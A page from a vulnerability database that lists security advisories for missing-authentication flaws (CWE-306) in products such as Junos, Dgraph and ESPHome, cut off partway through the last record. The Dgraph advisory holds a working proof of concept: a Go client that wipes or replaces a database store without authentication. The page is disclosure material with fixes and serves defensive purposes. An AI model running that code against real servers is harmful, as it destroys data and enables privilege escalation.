Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

5243 vulnerabilities reference this CWE, most recent first.

GHSA-RR4V-3P4H-3928

Vulnerability from github – Published: 2026-09-28 15:31 – Updated: 2026-09-28 15:31
VLAI
Details

mH-DEVELOPER smart home module does not verify tokens in its authorization middleware, leaving all HTTP API and WebSocket endpoints accessible without authentication. An unauthenticated attacker on the LAN can query these endpoints, access system information, and send raw control commands to manipulate building automation devices. This issue was fixed in version 3.0.30

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-82930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-28T13:17:23Z",
    "severity": "MODERATE"
  },
  "details": "mH-DEVELOPER smart home module does not verify tokens in its authorization middleware, leaving all HTTP API and WebSocket endpoints accessible without authentication. An unauthenticated attacker on the LAN can query these endpoints, access system information, and send raw control commands to manipulate building automation devices.\nThis issue was fixed in version\u00a03.0.30",
  "id": "GHSA-rr4v-3p4h-3928",
  "modified": "2026-09-28T15:31:51Z",
  "published": "2026-09-28T15:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82930"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/09/CVE-2026-82928"
    },
    {
      "type": "WEB",
      "url": "https://www.fif.com.pl/pl/strona-glowna/1367-mh-developer.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RR99-4WCC-6FJC

Vulnerability from github – Published: 2024-06-03 15:30 – Updated: 2026-06-03 18:33
VLAI
Details

Improper Access Control vulnerability in EMTA Grup PDKS allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PDKS: before 20240603. 

NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0336"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-03T14:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Access Control vulnerability in EMTA Grup PDKS allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PDKS: before 20240603.\u00a0\n\nNOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-rr99-4wcc-6fjc",
  "modified": "2026-06-03T18:33:04Z",
  "published": "2024-06-03T15:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0336"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-0600"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-24-0600"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RRGH-7G24-H4HG

Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details

The TP-LINK EAP Controller is TP-LINK's software for remotely controlling wireless access point devices. It utilizes a Java remote method invocation (RMI) service for remote control. The RMI interface does not require any authentication before use, so it lacks user authentication for RMI service commands in EAP controller versions 2.5.3 and earlier. Remote attackers can implement deserialization attacks through the RMI protocol. Successful attacks may allow a remote attacker to remotely control the target server and execute Java functions or bytecode.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-5393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-28T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The TP-LINK EAP Controller is TP-LINK\u0027s software for remotely controlling wireless access point devices. It utilizes a Java remote method invocation (RMI) service for remote control. The RMI interface does not require any authentication before use, so it lacks user authentication for RMI service commands in EAP controller versions 2.5.3 and earlier. Remote attackers can implement deserialization attacks through the RMI protocol. Successful attacks may allow a remote attacker to remotely control the target server and execute Java functions or bytecode.",
  "id": "GHSA-rrgh-7g24-h4hg",
  "modified": "2022-05-13T01:32:12Z",
  "published": "2022-05-13T01:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5393"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/581311"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105402"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRHW-MWXF-M9MP

Vulnerability from github – Published: 2023-08-17 21:30 – Updated: 2026-02-25 18:31
VLAI
Details

A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity.

With a specific request that doesn't require authentication an attacker is able to upload arbitrary files via J-Web, leading to a loss of

integrity

for a certain 

part of the file system, which may allow chaining to other vulnerabilities.

This issue affects Juniper Networks Junos OS on SRX Series:

  • All versions prior to 20.4R3-S8;
  • 21.2 versions prior to 21.2R3-S6;
  • 21.3 versions

prior to

21.3R3-S5; * 21.4 versions

prior to

21.4R3-S5; * 22.1 versions

prior to

22.1R3-S3; * 22.2 versions

prior to

22.2R3-S2; * 22.3 versions

prior to

22.3R2-S2, 22.3R3; * 22.4 versions

prior to

22.4R2-S1, 22.4R3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-17T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity.\n\n\n\nWith a specific request that doesn\u0027t require authentication an attacker is able to upload arbitrary files via J-Web, leading to a loss of \n\nintegrity\n\nfor a certain\u00a0\n\npart of the\u00a0file system, which may allow chaining to other vulnerabilities.\n\n\nThis issue affects Juniper Networks Junos OS on SRX Series:\n\n\n\n  *  All versions prior to 20.4R3-S8;\n  *  21.2 versions prior to 21.2R3-S6;\n  *  21.3 versions \n\nprior to \n\n 21.3R3-S5;\n  *  21.4 versions \n\nprior to \n\n21.4R3-S5;\n  *  22.1 versions \n\nprior to \n\n22.1R3-S3;\n  *  22.2 versions \n\nprior to \n\n22.2R3-S2;\n  *  22.3 versions \n\nprior to \n\n22.3R2-S2, 22.3R3;\n  *  22.4 versions \n\nprior to \n\n22.4R2-S1, 22.4R3.",
  "id": "GHSA-rrhw-mwxf-m9mp",
  "modified": "2026-02-25T18:31:23Z",
  "published": "2023-08-17T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36846"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA72300"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36846"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRPM-PXV9-75VX

Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-12 15:30
VLAI
Details

An improper access control vulnerability exists in the mintplex-labs/anything-llm application, specifically within the import endpoint. This vulnerability allows an anonymous attacker, without an account in the application, to import their own database file, leading to the deletion or spoofing of the existing anythingllm.db file. By exploiting this vulnerability, attackers can serve malicious data to users or collect information about them. The vulnerability stems from the application's failure to properly restrict access to the data-import functionality, allowing unauthorized database manipulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:26Z",
    "severity": "CRITICAL"
  },
  "details": "An improper access control vulnerability exists in the mintplex-labs/anything-llm application, specifically within the import endpoint. This vulnerability allows an anonymous attacker, without an account in the application, to import their own database file, leading to the deletion or spoofing of the existing `anythingllm.db` file. By exploiting this vulnerability, attackers can serve malicious data to users or collect information about them. The vulnerability stems from the application\u0027s failure to properly restrict access to the data-import functionality, allowing unauthorized database manipulation.",
  "id": "GHSA-rrpm-pxv9-75vx",
  "modified": "2024-08-12T15:30:50Z",
  "published": "2024-08-12T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3279"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mintplex-labs/anything-llm/commit/08d33cfd8fc47c5052b6ea29597c964a9da641e2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/303c5145-2c14-4945-914a-936be74dd04e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRPR-947M-3FGH

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 00:31
VLAI
Details

Affected platforms running Arista EOS with OpenConfig configured, a gNMI Set request can be run when it should have been rejected. This can result in unexpected configuration being applied to the switch.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:16:47Z",
    "severity": "HIGH"
  },
  "details": "Affected platforms running Arista EOS with OpenConfig configured, a gNMI Set request can be run when it should have been rejected. This can result in unexpected configuration being applied to the switch.",
  "id": "GHSA-rrpr-947m-3fgh",
  "modified": "2026-06-05T00:31:36Z",
  "published": "2026-06-05T00:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27890"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/19862-security-advisory-0099"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RRW9-HQ2G-MJFQ

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Web Content Management). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60652"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:18:06Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Web Content Management).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).",
  "id": "GHSA-rrw9-hq2g-mjfq",
  "modified": "2026-07-22T00:31:54Z",
  "published": "2026-07-22T00:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60652"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRWH-6JRQ-WP5V

Vulnerability from github – Published: 2026-08-20 17:29 – Updated: 2026-08-20 17:29
VLAI
Summary
Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import
Details

Summary

Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port :9080 without authentication or authorization. As a result, an unauthenticated network client can open StreamExtSnapshot and send Badger stream data to the target group’s store. In addition, the receiver calls Prepare() before processing the stream. This operation deletes and replaces the existing DB data.

Root Cause

The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.

Streaming RPCs such as StreamExtSnapshot do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s StreamWriter.Prepare() on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.

Steps to Reproduce

Preconditions:

  • A throwaway Dgraph Alpha is reachable on its public gRPC port, default :9080
  • Public gRPC mTLS is not enabled
  • No Dgraph ACL token, JWT, or gRPC auth-token metadata is used by the client

  • Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.

# Example if the tested source tree is built and tagged locally.
docker run --rm -p 8080:8080 -p 9080:9080 \
  -v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \
  dgraph-standalone:2b6d6328d

For example, insert a harmless record.

curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \
  -H "Content-Type: application/rdf" \
  --data-binary $'{ set { _:poc <name> "before-import" . } }'
  1. From an unauthenticated client, open Dgraph.StreamExtSnapshot and select group 1 as the target group.
package main

import (
    "context"
    "fmt"
    "io"
    "log"

    "github.com/dgraph-io/dgo/v250"
    "github.com/dgraph-io/dgo/v250/protos/api"
)

func main() {
    ctx := context.Background()

    // No JWT or auth metadata is attached.
    dg, err := dgo.Open("dgraph://127.0.0.1:9080")
    if err != nil {
        log.Fatal(err)
    }
    defer dg.Close()

    client := dg.GetAPIClients()[0]
    stream, err := client.StreamExtSnapshot(ctx)
    if err != nil {
        log.Fatal(err)
    }

    if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
        log.Fatal(err)
    }
    if _, err := stream.Recv(); err != nil {
        log.Fatal(err)
    }

    // Complete an empty external snapshot stream. On the server side,
    // the local subscriber calls StreamWriter.Prepare() before consuming
    // packets from the stream.
    if err := stream.Send(&api.StreamExtSnapshotRequest{
        Pkt: &api.StreamPacket{Done: true},
    }); err != nil {
        log.Fatal(err)
    }

    for {
        resp, err := stream.Recv()
        if err == io.EOF {
            break
        }
        if err != nil {
            log.Fatal(err)
        }
        if resp.GetFinish() {
            fmt.Println("unauthenticated external snapshot stream finished")
            break
        }
    }
}

Observed result:

  • The unauthenticated stream is accepted.
  • No prior UpdateExtSnapshotStreamingState(Start) call is required.
  • worker.runLocalSubscriber(...) calls pstore.NewStreamWriter().Prepare().
  • Badger drops the existing target group DB before the stream completes.
  • The synthetic data that existed before the stream is no longer served from the cleared group store.

The official import client demonstrates the same wire format and call order: dgraph/cmd/dgraphimport/import_client.go opens dgo.Open(...), calls StreamExtSnapshot, sends a first GroupId message, and then streams api.StreamPacket.Data chunks followed by Done: true.

This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in api.StreamPacket.Data before Done: true.

Impact

An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.

Suggested Remediation

  1. Require administrator authorization before UpdateExtSnapshotStreamingState calls worker.ProposeDrain(...).
  2. Require the same authorization at the start of StreamExtSnapshot using stream.Context().
  3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.
  4. Reject StreamExtSnapshot unless import mode was explicitly armed by an authorized request.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.3.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T17:29:00Z",
    "nvd_published_at": "2026-07-08T14:17:06Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nDgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group\u2019s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data.\n\n## Root Cause\n\nThe root cause is that the RPCs used for external snapshot import are exposed through Alpha\u2019s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.\n\nStreaming RPCs such as `StreamExtSnapshot` do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger\u2019s `StreamWriter.Prepare()` on the target group store. This operation deletes the existing database, allowing the attacker\u2019s stream to potentially replace the store.\n\n## Steps to Reproduce\n\nPreconditions:\n\n- A throwaway Dgraph Alpha is reachable on its public gRPC port, default `:9080`\n- Public gRPC mTLS is not enabled\n- No Dgraph ACL token, JWT, or gRPC `auth-token` metadata is used by the client\n\n1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.\n\n```bash\n# Example if the tested source tree is built and tagged locally.\ndocker run --rm -p 8080:8080 -p 9080:9080 \\\n  -v \"$PWD/dgraph-ext-snapshot-poc:/dgraph\" \\\n  dgraph-standalone:2b6d6328d\n```\n\nFor example, insert a harmless record.\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:8080/mutate?commitNow=true\" \\\n  -H \"Content-Type: application/rdf\" \\\n  --data-binary $\u0027{ set { _:poc \u003cname\u003e \"before-import\" . } }\u0027\n```\n\n2. From an unauthenticated client, open `Dgraph.StreamExtSnapshot` and select group 1 as the target group.\n\n```go\npackage main\n\nimport (\n    \"context\"\n    \"fmt\"\n    \"io\"\n    \"log\"\n\n    \"github.com/dgraph-io/dgo/v250\"\n    \"github.com/dgraph-io/dgo/v250/protos/api\"\n)\n\nfunc main() {\n    ctx := context.Background()\n\n    // No JWT or auth metadata is attached.\n    dg, err := dgo.Open(\"dgraph://127.0.0.1:9080\")\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer dg.Close()\n\n    client := dg.GetAPIClients()[0]\n    stream, err := client.StreamExtSnapshot(ctx)\n    if err != nil {\n        log.Fatal(err)\n    }\n\n    if err := stream.Send(\u0026api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {\n        log.Fatal(err)\n    }\n    if _, err := stream.Recv(); err != nil {\n        log.Fatal(err)\n    }\n\n    // Complete an empty external snapshot stream. On the server side,\n    // the local subscriber calls StreamWriter.Prepare() before consuming\n    // packets from the stream.\n    if err := stream.Send(\u0026api.StreamExtSnapshotRequest{\n        Pkt: \u0026api.StreamPacket{Done: true},\n    }); err != nil {\n        log.Fatal(err)\n    }\n\n    for {\n        resp, err := stream.Recv()\n        if err == io.EOF {\n            break\n        }\n        if err != nil {\n            log.Fatal(err)\n        }\n        if resp.GetFinish() {\n            fmt.Println(\"unauthenticated external snapshot stream finished\")\n            break\n        }\n    }\n}\n```\n\nObserved result:\n\n- The unauthenticated stream is accepted.\n- No prior `UpdateExtSnapshotStreamingState(Start)` call is required.\n- `worker.runLocalSubscriber(...)` calls `pstore.NewStreamWriter().Prepare()`.\n- Badger drops the existing target group DB before the stream completes.\n- The synthetic data that existed before the stream is no longer served from the cleared group store.\n\nThe official import client demonstrates the same wire format and call order: `dgraph/cmd/dgraphimport/import_client.go` opens `dgo.Open(...)`, calls `StreamExtSnapshot`, sends a first `GroupId` message, and then streams `api.StreamPacket.Data` chunks followed by `Done: true`.\n\nThis Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in `api.StreamPacket.Data` before `Done: true`.\n\n## Impact\n\nAn unauthenticated attacker who can reach Alpha\u2019s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph\u2019s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.\n\n## Suggested Remediation\n\n1. Require administrator authorization before `UpdateExtSnapshotStreamingState` calls `worker.ProposeDrain(...)`.\n2. Require the same authorization at the start of `StreamExtSnapshot` using `stream.Context()`.\n3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.\n4. Reject `StreamExtSnapshot` unless import mode was explicitly armed by an authorized request.",
  "id": "GHSA-rrwh-6jrq-wp5v",
  "modified": "2026-08-20T17:29:00Z",
  "published": "2026-08-20T17:29:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54061"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import"
}

GHSA-RRXG-G2PF-6HH4

Vulnerability from github – Published: 2026-09-14 18:08 – Updated: 2026-09-14 18:08
VLAI
Summary
ESPHome Device Builder: Renamed auth env vars silently disable dashboard authentication on upgrade
Details

Summary

The dashboard reads its authentication credentials from $ESPHOME_USERNAME and $ESPHOME_PASSWORD. Earlier versions, and the legacy esphome dashboard, read the bare $USERNAME and $PASSWORD instead. When the env vars were renamed the bare names were dropped with no fallback, so an operator who had protected their dashboard with USERNAME / PASSWORD (as the older getting started guide documented) loses authentication on upgrade and the dashboard starts open to anyone who can reach its port.

Details

Credentials are resolved in DashboardSettings.parse_args. The fallback originally read os.getenv("USERNAME") and os.getenv("PASSWORD"). The env var rename (#265) replaced those with ESPHOME_USERNAME / ESPHOME_PASSWORD and intentionally removed the bare names, because $USERNAME collides with the OS login user on Linux and Windows and reading it on its own would silently promote the shell user to the dashboard username.

The rename closed that footgun but introduced a backward compatibility break: a deployment that set only the bare names now resolves to no credentials, using_password is false, and the REST auth middleware and the WebSocket login gate are both disabled. The process logs a WITHOUT AUTHENTICATION banner at startup, but a container started detached (docker run -d) never surfaces it, so the exposure is silent in practice.

This reaches users because the dashboard subcommand of the ghcr.io/esphome/esphome container runs this package: the container pins esphome-device-builder and execs it for dashboard, inheriting whatever env the operator passed. The standalone Docker path runs without --ha-addon, so it is the affected path. Home Assistant add on installs are not affected; they pass --ha-addon and authenticate through the supervisor ingress proxy, and do not use these env vars.

The rename was tagged as a breaking change but was not surfaced in the 2026.6.0 changelog, so operators had no signal to migrate before upgrading.

Impact

An unauthenticated client with network access to the dashboard port can manage devices, including editing configurations and flashing firmware. Only deployments that relied on the bare $USERNAME / $PASSWORD env vars for authentication are affected; deployments using --username / --password, the new $ESPHOME_* env vars, or HA add on ingress are not.

Severity rationale

An unauthenticated network client crosses the dashboard's only security boundary, and a client past that boundary has host equivalent capability. ESPHome's threat model documents that an authenticated dashboard caller can run arbitrary code at compile time and read or write files in the config and data directories, so confidentiality, integrity, and availability are all High, with no credentials, no user interaction, and low attack complexity.

The base score is rated for the worst case, an internet reachable dashboard. That worst case is the right anchor here, because this issue only affects operators who had deliberately configured a dashboard password, and setting a password is the control an operator uses precisely when the dashboard is reachable by parties they do not fully trust, including a deployment exposed to the internet or a network segment shared with untrusted devices. For the affected population a trusted network cannot be assumed, so authentication should be restored as urgent.

Operational risk is lower for the subset of affected installations that run on a single trusted home or business network behind a firewall, since reaching the dashboard there requires an attacker who is already inside that network. ESPHome is designed for deployment on trusted networks with the network perimeter as the primary defense, so that deployment context reduces real world exposure; it does not lower the base severity, and operators on shared, guest, or internet reachable networks remain at full risk.

Patches

Fixed in 1.0.12. The bare $USERNAME / $PASSWORD are accepted again as a deprecated fallback so previously protected instances stay protected across the upgrade without operator intervention, with a loud deprecation warning at startup directing operators to rename them to $ESPHOME_USERNAME / $ESPHOME_PASSWORD. The fallback is gated on $PASSWORD being set and is only adopted as a pair, so the OS provided $USERNAME is never read on its own and the original collision footgun stays closed. A lone bare $PASSWORD with no username still fails loud as a credential mismatch rather than starting unauthenticated.

This restores compatibility rather than failing closed on the legacy names, because the priority is that an instance which was protected before the upgrade stays protected without the operator having to act; the deprecation warning plus a future removal handles the migration. Operators should migrate to the $ESPHOME_* names.

The esphome container delivers the fix in the 2026.6.2 release, which bumps its pinned esphome-device-builder version to 1.0.12.

Workarounds

Without upgrading, restore authentication immediately by setting the new env vars to the same values, on any affected version:

ESPHOME_USERNAME=<your-username>
ESPHOME_PASSWORD=<your-password>

Alternatively, do not expose the dashboard port to untrusted networks, and check the startup logs for the WITHOUT AUTHENTICATION banner to confirm whether a given instance is currently open.

References

  • Original report against the esphome container: GHSA-446m-c8jp-v37m
  • Env var rename that introduced the regression: esphome/device-builder#265
  • 2026.6.0 changelog (breaking change was not documented): https://esphome.io/changelog/2026.6.0
  • Old setup documentation that used the bare names: https://esphome.io/guides/getting_started_command_line
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "esphome-device-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-14T18:08:57Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe dashboard reads its authentication credentials from `$ESPHOME_USERNAME` and `$ESPHOME_PASSWORD`. Earlier versions, and the legacy `esphome` dashboard, read the bare `$USERNAME` and `$PASSWORD` instead. When the env vars were renamed the bare names were dropped with no fallback, so an operator who had protected their dashboard with `USERNAME` / `PASSWORD` (as the older getting started guide documented) loses authentication on upgrade and the dashboard starts open to anyone who can reach its port.\n\n## Details\n\nCredentials are resolved in `DashboardSettings.parse_args`. The fallback originally read `os.getenv(\"USERNAME\")` and `os.getenv(\"PASSWORD\")`. The env var rename (#265) replaced those with `ESPHOME_USERNAME` / `ESPHOME_PASSWORD` and intentionally removed the bare names, because `$USERNAME` collides with the OS login user on Linux and Windows and reading it on its own would silently promote the shell user to the dashboard username.\n\nThe rename closed that footgun but introduced a backward compatibility break: a deployment that set only the bare names now resolves to no credentials, `using_password` is false, and the REST auth middleware and the WebSocket login gate are both disabled. The process logs a `WITHOUT AUTHENTICATION` banner at startup, but a container started detached (`docker run -d`) never surfaces it, so the exposure is silent in practice.\n\nThis reaches users because the `dashboard` subcommand of the `ghcr.io/esphome/esphome` container runs this package: the container pins `esphome-device-builder` and execs it for `dashboard`, inheriting whatever env the operator passed. The standalone Docker path runs without `--ha-addon`, so it is the affected path. Home Assistant add on installs are not affected; they pass `--ha-addon` and authenticate through the supervisor ingress proxy, and do not use these env vars.\n\nThe rename was tagged as 